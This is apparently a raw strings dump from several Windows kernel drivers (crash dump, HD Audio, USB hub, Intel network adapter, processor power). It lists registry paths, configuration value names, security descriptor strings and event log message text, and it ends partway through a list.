RESTORE_ACTION MATCHING_BACKUP_LABEL MATCHING_RESTORE_ACTION MATCHING_APPLICATION_ATTRIBUTES MSI_WILDCARD_PACKAGE REDIST_PACKAGE MSI_TABLE_MATCHING_FILE MATCHING_CONTAINMENT STRINGTABLE INDEXES INDEX UPDATED_ENTRY_INDEXES STRINGTABLE_ITEM PATCH_BITS FILE_BITS EXE_ID DATA_BITS MSI_PACKAGE_ID DATABASE_ID CONTEXT_PLATFORM_ID CONTEXT_BRANCH_ID XAP_ID C_STRUCT_BIN_DATA C_STRUCT_VERSION EMPTY_SPACE TARGET_DATABASE_ID REDIST_ID FIX_ID APP_ID REG_VALUE_DATA_BINARY TEXT BACKUP_ID INDEX_BITS InvalidTag ]%system32% %systemroot%\system32 %sysnative% %windir% %systemroot% %programfilesnative% %systemdrive%\Program Files 4CommonFilesDir CommonProgramFiles CommonFilesDir (x86) CommonProgramFiles(x86) ProgramFilesDir ProgramFiles ProgramFilesDir (x86) ProgramFiles(x86) ProgramData Public DataDrive OSDataDrive TemporaryDrive SystemRoot= SystemDrive= WinDir= \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Environment \Registry\Machine\Software\Microsoft\Windows\CurrentVersion \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\ProfileList \SysNative \System32 \SysWOW64 \SysARM32 \\?\ \\.\ Found Did not find VS_VERSION_INFO ProductVersion FileDescription CompanyName ProductName FileVersion OriginalFilename InternalName LegalCopyright \StringFileInfo\000004B0\ \StringFileInfo\000004E4\ \StringFileInfo\040904B0\ \StringFileInfo\040904E4\ s-1-5-19 s-1-5-18 \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList s-1-5-20 %USERPROFILE% ProfileImagePath DataDrive= %USERNAME% OSDataDrive= \USERS\ @[]<>,:;\ \Registry\MACHINE\System\CurrentControlSet\Control\Session Manager\AppCompatCache \??\ NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister {CB05F5DF-AAA0-4D95-853C-0BB864CE0C0F} Composite (Multi-Transport) Device KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\CompositeBus RtlQueryRegistryValuesEx KDNET\KDNIC KdNic TimerResolution kdnic Characteristics 0000 KDNIC\Legacy KdNicLegacyEnumerator KdNic legacy device UseLegacyKdnic KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\kdnic UMB\UMBUS Identity NodeID InterfaceGUIDs RootBus PsGetVersion WmiTraceMessage WmiQueryTraceInformation (null) EtwRegisterClassicProvider EtwUnregister UMBROOT(0) UMB(%s) D:P(A;;GA;;;SY)(A;;GA;;;BA) KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\umbus NtQuerySystemInformation \Callback\SoftRestart stornvme.sys storahci.sys 0x%08X dump_ SystemSetupInProgress \Registry\Machine\System\Setup SimulateError \Registry\Machine\System\CurrentControlSet\Control\CrashControl ResumeCapable DriverList CrashControl BugCheckProgress CrashDumpEnabled LogEvent SendAlert EnableLogFile DumpLogLevel SimulateNotReady Flags DeviceDumpEnabled \Registry\Machine\System\CurrentControlSet\Control\CrashControl\StorageTelemetry StorageTCCode_%1x FilterPages EnablePartialKernelDumpFallback IoSpaceLargeDumpThreshold RegularLargeDumpThreshold MaximumTransferSize KernelDumpPromotionEnabled \Registry\Machine\System\CurrentControlSet\Control\CrashControl\Promotion KernelDumpPromotionCode_%1x DedicatedDumpDevice DedicatedDumpFile EnableDynamicDedicatedDumpFileSizing DumpFileSize Crashdmp-DedicatedDumpFileSize-Mini Crashdmp-DedicatedDumpFileSize-Kernel Crashdmp-DedicatedDumpFileSize-Full %s.sys diskdump.sys storport.sys scsiport.sys DumpFilters DumpStack.log.tmp %s:\%s \??\%s:\%s CurrentBuild \Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion CurrentMajorVersionNumber CurrentMinorVersionNumber \Device\ScsiPort%d \SystemRoot\System32\Drivers\%s %s%s \??\%s \DUMP%4.4x.tmp \Registry\Machine\System\CurrentControlSet\Control\CrashControl\MachineCrash DumpFile TempDestination nCrashdmp-DedicatedDumpFileStorageReserve-Enabled \??\ \DosDevices\ BugCheckCode BugCheckParameter1 \Registry\Machine\System\CurrentControlSet\Control\CrashControl\LastCrashdump EnableOfflineDumps AttemptOffline Info \??\C 26200 \??\C 26200 WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Crash Dump Driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName crashdmp.sys LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename crashdmp.sys ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Error Warning Information Resume capable settings Transfer size settings Create dump file settings Early Crash Dump Soft restart prepare for early crash dump failed with status %1, failure point %2 Early crash dump support failed to initialize with status %1 Early crash dump support succesfully initialized Early crash dump is supported by the operating system Resume capable Transfer sizes Create dump file Microsoft-Windows-Crashdump/Analytic Microsoft-Windows-Crashdump/Operational EventData Data Name ResumeCapable Data Name ReasonCodes ResumeCapable ReasonCodes EventData Data Name Minimum Data Name Maximum Minimum Maximum EventData Data Name IoSpaceEnabled Data Name PhysicalMemorySizeInBytes Data Name DumpFileSizeInBytes Data Name CreateDumpFileDurationInMs Data Name LargeDumpThresholdGB IoSpaceEnabled PhysicalMemorySizeInBytes DumpFileSizeInBytes CreateDumpFileDurationInMs LargeDumpThresholdGB EventData Data Name Status Status EventData Data Name Status Data Name FailurePoint Status FailurePoint Microsoft-Windows-Crashdump OpCodeResumeCapable Supported OpCodeTransferSizes Initialized OpCodeCreateDumpFile PrepareFailure InitializationFailure win:Error win:Warning win:Informational TaskResumeCapable TaskTransferSizes TaskCreateDumpFile EarlyCrashDump Config EarlyCrashDump WEVT_TEMPLATE en-US NtQuerySystemInformation \Registry\Machine\System\CurrentControlSet\Services\vm3dmp \Registry\Machine\System\CurrentControlSet\Services\vm3dmp-debug \Registry\Machine\System\CurrentControlSet\Services\vm3dmp-stats \Registry\Machine\SYSTEM\CurrentControlSet\Control\Audio\HDAudioFlags\%04X%04X EnumWorkaround EnableNoWakeIdleTimeout EnableD3Cold PowerSettings EnableS0Standby Settings HDAUDIO\FUNC_%02X HDAUDIO\%sFUNC_%02X&VEN_%04X&DEV_%04X&SUBSYS_%08X&REV_%04X HDAUDIO\%sFUNC_%02X&VEN_%04X&DEV_%04X HDAUDIO\%sFUNC_%02X&VEN_%04X&DEV_%04X&SUBSYS_%08X HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&CTLR_DEV_%04X&VEN_%04X&DEV_%04X HDAUDIO\%sFUNC_%02X&VEN_%04X&DEV_%04X&REV_%04X DeviceLocation HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&CTLR_DEV_%04X&VEN_%04X HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&VEN_%04X&DEV_%04X&REV_%04X HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&CTLR_DEV_%04X HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&CTLR_DEV_%04X&VEN_%04X&DEV_%04X&REV_%04X SGPC_ HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X HDAUDIO\%sFUNC_%02X&VEN_%04X HDAUDIO\%sFUNC_%02X&GF&VEN_%04X&DEV_%04X&SUBSYS_%08X&REV_%04X HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&VEN_%04X HDAUDIO\%sFUNC_%02X&CTLR_VEN_%04X&VEN_%04X&DEV_%04X %04X DeviceDescription_FUNC_%02X PsGetVersion WmiTraceMessage WmiQueryTraceInformation CodecTimeoutOverrideMsec HDAUD:PCI\VEN_%04X&DEV_%04X&REV_%02X EtwRegisterClassicProvider EtwUnregister CodecSettings\%04X%04X \Registry\Machine\SYSTEM\CurrentControlSet\Control\Audio HDAudioFlags DeviceDescription_Default Unknown GfxSharedCodecAddress NULL MemoryMapSizeOverride UseHalDMA HDAudioMofName HDAUD HDAUD:PCI\VEN_%04X&DEV_%04X KmdfLibrary HDAudioBus \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\HDAudBus ConservationIdleTime PowerSettings IdlePowerState PerformanceIdleTime ImmediateIdle UsePositionLock DispatchSettings NULL RtlQueryRegistryValuesEx PortclsMof mmres.dll \Registry\Machine\System\CurrentControlSet\Services\AudioSrv PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister CoreAudioBufferDuration InterruptAffinity D:P(A;;GA;;;SY)(A;;GA;;;BA)(A;;GRGWGX;;;LS)(A;;GRGWGX;;;IU) !SingleComponentMultiFxStates \Device\VerifierExt XdvTimedFactor {146F1A80-4791-11D0-A5D6-28DB04C10000} {146F1A80-4791-11D0-A5D6-28DB04C10000} {146F1A80-4791-11D0-A5D6-28DB04C10000} {642F5D00-4791-11D0-A5D6-28DB04C10000} {53172480-4791-11D0-A5D6-28DB04C10000} {146F1A80-4791-11D0-A5D6-28DB04C10000} {146F1A80-4791-11D0-A5D6-28DB04C10000} {642F5D00-4791-11D0-A5D6-28DB04C10000} {53172480-4791-11D0-A5D6-28DB04C10000} [%03X] DMusic MPU-401 In DMusic MPU-401 Out IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} ImagePath TELASSERT PortCls \Driver\Verifier \Driver\Acpi acpi.sys RtlQueryRegistryValuesEx NULL Camera:%ws%016I64X; %ws;%016I64X;%01X;%01X;%01X;%016I64X;%016I64X; CamDevice NoPhysicalCameraLED \Registry\Machine\SOFTWARE\Microsoft\OEM\Device\Capture \KernelObjects\LowMemoryCondition Enum \Registry\Machine\SYSTEM\CurrentControlSet\Control\DeviceClasses\{3c0d501a-140b-11d1-b40f-00a0c9223196}\PSTS LastS0Time ObjectLength SHA256 Microsoft Primitive Provider webcam CamAcpiRotation \Device\VerifierExt XdvTimedFactor WmiTraceMessage PsGetVersion EtwRegisterClassicProvider WmiQueryTraceInformation EtwUnregister PnpId ALLOWED DENIED System:%ws%ws; \Registry\Machine\SYSTEM\HardwareConfig\Current\ComputerIds CameraDeviceMftClsid CameraPostProcessingPluginCLSID HashDigestLength ImagePath TELASSERT Image Notify ResourceId %s\%s\%s File Name %s\%s %s&%s %s\%s %s\%s%c Modules\ Parameters \DosDevices \SystemRoot\system32\drivers\ MediaCategories\ \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services \Device\KSENUM#%08x {0621061A-EE75-11D0-B915-00A0C9223196} {53172480-4791-11D0-A5D6-28DB04C10000} {642F5D00-4791-11D0-A5D6-28DB04C10000} {0621061A-EE75-11D0-B915-00A0C9223196} {146F1A80-4791-11D0-A5D6-28DB04C10000} {72CF721C-525A-11D1-9AA1-00A0C9223196} {0621061A-EE75-11D0-B915-00A0C9223196} {146F1A80-4791-11D0-A5D6-28DB04C10000} {53172480-4791-11D0-A5D6-28DB04C10000} {642F5D00-4791-11D0-A5D6-28DB04C10000} \Registry\Machine\SYSTEM\CurrentControlSet\Control\ \Registry\Machine\SYSTEM\CurrentControlSet\Control\MediumCache EnHcAsyncIdle MissedMicroframePerSecRetryCount HcSoftPerSecRetryCount NoInterlockedOpOnCommonBuffers USBEHCI_InternalFlags NakReloadCount EnHcSoftRetry EnAsyncQhIdleRemoval IntegratedTTType DisableAMDAsyncQhCache SlotsPerEndpoint EnHcPeriodicIdle En64BitAddressing ResetRecoveryEnable DsLowSpeedHandoff EnAsyncQhDummy ResetRecoveryBreak NdisAllocateSharedMemory NdisFreeSharedMemory NdisCurrentProcessorIndex NdisMConfigMSIXTableEntry NdisGetProcessorInformationEx NdisGetRssProcessorInformation NdisGetProcessorInformation NdisSystemActiveProcessorCount ... [%d,%d,%d] NULL EnableWakeOnManagmentOnTCO EnablePHYWakeUp EnableD0PHYFlexibleSpeed EnablePHYFlexibleSpeed EnableSavePowerNow AutoPowerSaveModeEnabled SipsEnabled SipsThreshold DisableSMBusMode EnableDeviceBusPowerStateDependency WakeOnFastStartup *PMARPOffload *PMNSOffload ProtocolOffloadLinkDownTimer *TransmitBuffers EnableTxHeadWB TxWBThresh EnableLocklessTx DropHighlyFragmentedPacket EnableCoalesce CoalesceBufferSize EnableUdpTxScaling TxWritebackInterval QwaveAPI UserPriorityThresh VerifyTDT_RDTWrite MaxTxPacketsToFlush EnableTss *ReceiveBuffers RxWBThresh ReceiveBuffersOverride RxPacketCount MaxPacketCountPerDPC MaxPacketCountPerIndicate RxDescriptorCountPerTailWrite MinHardwareOwnedPacketCount RxBufferPad MonitorMode MulticastFilterType RegForceRxPathSerialization RxPba DynamicLTR EnableRxDescriptorChaining EnableDRBT *HeaderDataSplit HDSplitSize HDSplitMode HDSplitBufferPad *InterruptModeration EnableLLI InterruptMode EnableAdvancedDynamicITR AIMLowestLatency EnableIAM EnableEIAM EnableTcpTimer TcpTimerInterval Ndis61MsixConfig LLIPorts *RSS *RssBaseProcNumber *MaxRssProcessors *NumaNodeId DisablePortScaling ManyCoreScaling *NumRssQueues NumRssQueuesPerVPort EnableLHRssWA ReceiveScalingMode AdvertiseTimestamp AllTransmitHw TaggedTransmitHw *PtpHardwareTimestamp *SoftwareTimestamp TimeSync Acer Extended Magic Packet *IPsecOffloadV2 IPSecurity *PriorityVLANTag VlanFiltering *JumboPacket PadReceiveBuffer StoreBadPackets LogLinkStateEvent CEMDriverVer EEPROMValidation EnableTxHangWA SVOFFMode SVOFFModeHWM SVOFFModeTimer Enable9KJFTpt OBFFEnabled TxDelay DriverDesc VlanId IntelANSVlanID NetworkAddressMMA DisablePhyReset EnableExtraLinkUpRetries *SpeedDuplex WaitAutoNegComplete SmartSpeed AutoNegAdvertised AdaptiveIFS Mdix MasterSlave ReduceSpeedOnPowerDown LinkNegotiationProcess AllowAllSpeedsLPLU ProcessLSCinWorkItem DetectForcedLP EEELinkAdvertisement *FlowControl FlowControlSendXon FlowControlStrictIEEE FlowControlHighWatermark FlowControlLowWatermark FlowControlPauseTime PhyTimingRecoveryWA OriginalName NetCfgInstanceId NameDevPrefix \Device\ \??\ INTELPRO_ NicSwitches\0 *NumVFs EnableDCA DcaRxSettings DcaTxSettings *IPChecksumOffloadIPv4 *TCPChecksumOffloadIPv4 *TCPChecksumOffloadIPv6 *UDPChecksumOffloadIPv4 *UDPChecksumOffloadIPv6 *LsoV1IPv4 *LsoV2IPv4 *LsoV2IPv6 #&) !%),036:= #(,159=ADHKOR(-38=BFKOSW[^behNumber of times CommonBuffer was freed back to the DMA adapter WEVT_TEMPLATE en-US NULL USBROOT(0) \Registry\Machine\System\CurrentControlSet\Control\usbflags Allow64KLowOrFullSpeedControlTransfers PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\UCX %s%d IoTryQueueWorkItem IoGetActivityIdIrp IoSetActivityIdIrp IoFreeActivityIdIrp USB\ROOT_HUB30 USB\ROOT_HUB30&VID%04X&PID%04X&REV%04X#USB\ROOT_HUB30&VID%04X&PID%04X#USB\ROOT_HUB30# USB\ROOT_HUB30&VID%S&PID%S&REV%S%cUSB\ROOT_HUB30&VID%S&PID%S%cUSB\ROOT_HUB30%c \Device\USBPDO-%d D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GRGW;;;WD)(A;;GR;;;RC) KmdfLibrary TELASSERT \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Ucx01000 \Device\VmGenerationCounter \DosDevices\VmGenerationCounter KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\gencounter PowerSourceType WaitWakeEnabled \Registry\Machine\System\CurrentControlSet\Services\ACPI\Parameters BatteryFeaturesGranted BatteryMinPollRate \Registry\Machine\System\CurrentControlSet\Control\Power BatteryMinBackupPollRate BatteryMinBackupPollRateAc BatteryFastestStatusNotifyUpdateIntervalMilliSec IdleResiliencyTimerDurationInMinutes \REGISTRY\MACHINE\SYSTEM\CurrentControlSet\Services\BattC BATTCWMI BatteryAcDcUpdateStormQualificationCount BatteryAcDcUpdateStormPingWindowMilliSec **************.********** %d4%d2%d2******.********** \Registry\Machine\Software \Registry\Machine\Hardware\Description\System\CentralProcessor\0 ~MHz %s_Package%d_Core%d_%s %s_Package%d_%s Microsoft ENERGY_UNIT DRAM l\Registry\Machine\System\CurrentControlSet\Control\Processor\HwDebugRegisters \Registry\Machine\Software\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack\HwDebugRegisters %s\%d PowerEnvelope FrequencyPercent PointCount \Registry\Machine\System\CurrentControlSet\Control\Power\EnergyEstimation\CPU %s\EfficiencyClass\%d\PowerCurve PROCESSORWMI PsGetVersion WmiTraceMessage WmiQueryTraceInformation Count \Registry\Machine\System\CurrentControlSet\Services\IntelHswPcc\Enum ThermalStatus PROCHOT Critical Temperature Thermal Threshold 1 Thermal Threshold 2 Power Limitation Current Limit Cross Domain Limit Thermal Residency State Regulation Running Average Thermal VR Therm Alert VR Therm Design Current Other PL1 Power Limit PL2 Power Limit Max Turbo Limit Turbo Transition Attenuation Power Limit 1 PL1 Enable PL1 Clamping PL 1 Time Window Power Limit 2 PL2 Enable PL2 Clamping PL 2 Time Window IA32_THERM_STATUS Overclocking Utilized IA32_OVERCLOCKING_STATUS MSR_CORE_PERF_LIMIT_REASONS MSR_PKG_POWER_LIMIT RAPL AllowVmPerfControl \Registry\Machine\System\CurrentControlSet\Control\Processor Thermal threshold 2 Thermal threshold 1 IA32_PACKAGE_THERM_STATUS Package digital readout KmdfLibrary EtwRegisterClassicProvider EtwUnregister NULL hAllowPepPerfStates Overrides PerfEnablePackageIdle \Registry\Machine\System\CurrentControlSet\Control\Session Manager\Throttle Capabilities DisableAsserts dAllowGuestPerfStates sUnknown Scope Enabled Address Type BitWidth BitOffset %s\EfficiencyClass\%d\EnergyEquation %s\EfficiencyClass\%d \EnergyCounter NumberOfCounters EquationIndex Factor CounterType CounterId \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\intelppm PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister NDIS Virtual Network Adapter KmdfLibrary \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NdisVirtualBus Devices Client Device Name NULL PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider EtwUnregister \Device\RdpDr \Device\RdpBus D:P(A;;GA;;;SY) Port Description Inactive TS Port recyclable Port Number IoCreateDeviceSecure IoValidateDeviceIoControlAccess SeConvertStringSecurityDescriptorToSecurityDescriptor Properties Class NoDisplayClass NoUseClass Security DeviceType DeviceCharacteristics Exclusive \Registry\Machine\System\CurrentControlSet\Control\Class {%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X} USB\UNKNOWN USB\VID_nnnn &PID_nnnn &REV_nnnn Port_#nnnn .Hub_#nnnn IgnoreHWSerNum%04x%04x RtlQueryRegistryValuesEx GenericUSBDeviceString usbflags usbflags\vvvvpppprrrr \Registry\Machine\System\CurrentControlSet\Control\usbflags usbhub\uxd_control\policy UxdGlobalDeleteOnDisconnect UxdGlobalDeleteOnShutdown UxdGlobalEnable UxdGlobalDeleteOnReload MsOs20DescriptorSetInfo IgnoreHWSerNum ResetOnResume PowerUpDelay DisableOnSoftRemove RequestConfigDescOnReset SkipBOSDescriptorQuery \Device\USBPDO- USB\DevClass_00&SubClass_00&Prot_00 USB\DevClass_00&SubClass_00 USB\DevClass_00 USB\COMPOSITE USB\COMPAT_VID_nnnn Ceip DeviceInformation MSOSDescriptorHang osvc MSFT100 ExtPropDescSemaphore SkipContainerIdQuery VendorRevision RevisionId NULL EtwUnregister MiniNT PsGetVersion WmiTraceMessage WmiQueryTraceInformation EtwRegisterClassicProvider DisableSelectiveSuspendUI DisableHardReset MsOsDescriptorMode BreakOnReplicant BreakOnEnumFailure UsbDebugModeEnable BreakOnHubException debuglevel DebugLogMask UseIoErrorLog ForceResetOnResume DisableFastResume EnableDiagnosticMode DisableUxdSupport EnableExtendedValidation WakeOnConnectUI SingleTTmode WakeSystemOnConnect EnableSelectiveSuspend OvercurrentDetected LogSize IdleTimeout DisableSelectiveSuspend ForcePortPower DeviceSelectiveSuspended FriendlyName AllowIdleIrpInD3 D3ColdReconnectTimeout usbflags\CLASS_%02X_SUBCLASS_%02X_PROTOCOL_%02X PowerOnOvercurrent ResetTTOnCancel NoClearTTBufferOnCancel SymbolicName MsOs20Flags EnumerationRetryCount usbflags\CLASS_%02X_SUBCLASS_%02X usbflags\CLASS_%02X \%04X%04X%04X \Registry\Machine\System\CurrentControlSet\Control\Usb\Ceip BootPathSurpriseRemovalCount EnumerationFailureCode \hubg HardResetCount e5b3b5ac-9725-4f78-963f-03dfb1d828c7 D3ColdSupported USB(%d) USB\MS_COMP_n &Prot_nn &SubClass_nn &Class_nn &DevClass_nn HashDigestLength ObjectLength SHA1 Microsoft Primitive Provider nnnn nnnn USB\Class_nn &MS_SUBCOMP_n USB\CONFIGURATION_DESCRIPTOR_VALIDATION_FAILURE USB\DEVICE_DESCRIPTOR_VALIDATION_FAILURE USB\SET_ADDRESS_FAILURE USB\CONFIG_DESCRIPTOR_FAILURE USB\DEVICE_DESCRIPTOR_FAILURE USB\RESET_FAILURE USB\Class_11&SubClass_00&Prot_00 USBHUB:GLOBAL_FLAGS USBHUB USB:USB\VID_%04X&PID_%04X USB:ROOT_HUB\VID_%04X&PID_%04X USB:USB\VID_%04X&PID_%04X&REV_%04X USB:ROOT_HUB\VID_%04X&PID_%04X&REV_%04X @System32\drivers\usbhub.sys MSFT30 %s,#%d;%hs %4.4x%4.4x%4.4x uxd_port_%3.3d uxd_port_nnn VVVVPPPPRRRR usbhub\uxd_control\devices usbhub\uxd_control\pnp \registry\machine\system\currentcontrolset\services\usbhub\uxd_control\devices\ IoGetActivityIdIrp ExAllocateTimer ExDeleteTimer ExSetTimer ExCancelTimer \Registry\Machine\SYSTEM\CurrentControlSet\Control\USBFN \Registry\Machine\SYSTEM\CurrentControlSet\Control\USBFN\Configurations\ InterfaceList IpOverUsb VidStream CurrentConfiguration UcmIsPresent \Registry\Machine\SYSTEM\CurrentControlSet\Control\USB DualRoleFeaturesTestOverride DualRoleFeatures \Registry\Machine\SYSTEM\CurrentControlSet\Control\USBFN\Default IncludeDefaultCfg Default WEVT_TEMPLATE Start Error Complete Dispatch Remove Information Exception Queue A request for the USB device descriptor failed. The USB set address request failed. A USB port reset request failed. A previous instance of the USB device was not removed. The USB device returned an invalid USB configuration descriptor. The USB device returned an invalid USB device descriptor. Unable to access the registry. A request for the USB configuration descriptor failed. A request for the USB device's port status failed. The USB device returned an invalid serial number string. A request for the USB BOS descriptor failed. The USB device returned an invalid USB BOS descriptor. A request for the Microsoft OS 2.0 descriptor set failed. The USB device returned an invalid Microsoft OS 2.0 descriptor set. A Microsoft OS 2.0 Set Alternate Enumeration command failed. Critical Error Warning Information USB Hub USB Hub Enumerate USB Hub Suspend USB Hub Resume USB Hub Reset Recovery USB Hub Query Device Relations IRP - BusRelations USB Hub Wait Wake USB Hub Power USB Hub Port Information USB Device USB Device Start USB Device Set Power USB Device Idle Notification USB Device WaitWake USB Hub Exception USB Hub Port Status USB Device Internal Reset USB Hub Past Exception USB Device IOCTL_INTERNAL_USB_RESET_PORT USB Hub Timer USB Hub Added USB Hub Removed USB Hub Information Start Enumeration of Port Enumeration Port Debounce Failed Create PDO Failed IoCreateDevice Failed Create PnP ID Failed Enumeration Port Reset Failure Port Enabled but not Connected After First Reset First Enumeration Port Reset Timed Out Create Device Failed Initialize Device Failed Get Descriptors Request Failed Valdiation of USB Configuration Descriptor Failed Validation of USB Device Descriptor Failed Request for Microsoft OS Descriptor Failed Request for Serial Number String Descriptor Failed Build PnP ID failed Duplicate Serial Number Detected Enumeration Timed Out Waiting for Previous Instance of USB Device to be Removed Enumeration Failed Due to Registry Failure Retrying Enumeration of Port Hub Disconnected During Enumeration of Port Enumeration Debounce Completed PDO Created for Enumeration First Enumeration Port Reset Complete Enumeration - CreateDevice Complete Second Enumeration Port Reset Complete Enumeration - InitializeDevice Complete Enumeration - SetupDevice Complete Enumeration of Port Completed Reset Recovery of Hub Started Reset Recovery of Hub Queued Reset Recovery of Hub Completed Started Selective Suspend of Hub Selective Suspend of Hub Failed to Pause Bus Completed Selective Suspend of Hub Started Resume of Hub from Selective Suspend Resume of Hub Completed Propagated Resume of Hub Downstream Resumed Port for Hub Resume Propagated Resume of Hub Upstream USB Hub Query Device Relations (BusRelations) IRP Dispatched USB Hub Query Device Relations IRP Completed USB Hub Port Attributes ACPI USB Port Capabilities (_UPC) ACPI Physical Device Location (_PLD) Query for ACPI USB Port Capabilities (_UPC) Failed Query for ACPI Physical Device Location (_PLD) Failed USB Device Added USB Device Removed USB Device Information USB Device Description USB Device Start IRP Dispatched Restart of USB Device Failed Due to Device Reset Failure Start Device Failed for USB Device Due to Registry Failure Unable to Create Symbolic Link for USB Device New USB Device Description USB Device Start IRP Completed USB Device Set D0 Device Power IRP Dispatched USB Device Set D0 Device Power IRP Completed USB Device Set Dx Device Power IRP Dispatched USB Device Set Dx Device Power IRP Completed USB Device IOCTL_INTERNAL_USB_SUBMIT_IDLE_NOTIFICATION Dispatched USB Device IOCTL_INTERNAL_USB_SUBMIT_IDLE_NOTIFICATION Completed USB Device Wait Wake IRP Dispatched USB Device Wait Wake IRP Completed USB Hub Wait Wake IRP Started USB Hub Wait Wake IRP Dispatched USB Hub Wait Wake IRP Completed USB Hub Set Dx Device Power IRP Started USB Hub Set Dx Device Power IRP Dispatched USB Hub Set Dx Device Power IRP Completed USB Hub Set D0 Device Power IRP Started USB Hub Set D0 Device Power IRP Dispatched USB Hub Cold Start USB Hub Disconnected During Cold Start USB Device Disconnected During Cold Start of Hub USB Device Connected During Cold Start of Hub Device Lost Power During Cold Start of Hub USB Device Needs to be Reset During Cold Start of Hub USB Hub Cold Start Completed USB Hub Warm Start USB Device Failed to Resume During Warm Start of Hub USB Device Requires Reset During Warm Start of Hub USB Hub Warm Start Completed USB Hub Lost Power During System Suspend USB Hub Was Disconnected During System Suspend USB Hub Set D0 Device Power IRP Completed USB Hub Set Sx System Power IRP Dispatched USB Hub Set Sx System Power IRP Completed USB Hub Set S0 System Power IRP Dispatched USB Hub Set S0 System Power IRP Complete USB Hub Exception Logged USB Hub Port Status Change USB Hub Timer Disabled USB Hub Timer Enabled USB Hub Timer Callback USB Device Internal Reset Started USB Device Internal Reset Completed USB Hub Past Exception Logged Start IOCTL_INTERNAL_USB_RESET_PORT Complete IOCTL_INTERNAL_USB_RESET_PORT Request for Microsoft OS 2.0 Descriptor Set Failed Validation of Microsoft OS 2.0 Descriptor Set Failed Microsoft-Windows-USB-USBHUB/Diagnostic EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Device fid_USBHUB_HC fid_USBHUB_Device fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_DeviceHandle fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub ComplexData Name fid_USBHUB_Hub_State ComplexData Name fid_USB_HubDescriptor fid_USBHUB_HC fid_USBHUB_Hub fid_USBHUB_Hub_State fid_USB_HubDescriptor fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed fid_DevicePowerState fid_HubSuspendState fid_bDescriptorLength fid_bDescriptorType fid_bNumberOfPorts fid_wHubCharacteristics fid_bPowerOnToGood fid_bHubControlCurrent fid_bRemoveAndPowerMask EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Device ComplexData Name fid_USBHUB_Device_State ComplexData Name fid_DeviceDescriptor fid_USBHUB_HC fid_USBHUB_Device fid_USBHUB_Device_State fid_DeviceDescriptor fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_DeviceHandle fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed fid_DevicePowerState fid_bLength fid_bDescriptorType fid_bcdUSB fid_bDeviceClass fid_bDeviceSubClass fid_bDeviceProtocol fid_bMaxPacketSize0 fid_idVendor fid_idProduct fid_bcdDevice fid_iManufacturer fid_iProduct fid_iSerialNumber fid_bNumConfigurations EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Device Data Name fid_DeviceDescription fid_USBHUB_HC fid_USBHUB_Device fid_DeviceDescription fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_DeviceHandle fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub fid_USBHUB_HC fid_USBHUB_Hub fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name fid_USBHUB_HC ComplexData Name fid_USBHUB_Hub Data Name fid_PortNumber Data Name fid_Status fid_USBHUB_HC fid_USBHUB_Hub fid_PortNumber fid_Status fid_PciBus fid_PciDevice fid_PciFunction fid_PciVendorId fid_PciDeviceId fid_idVendor fid_idProduct fid_PortPathDepth fid_PortPath fid_DeviceSpeed EventData ComplexData Name 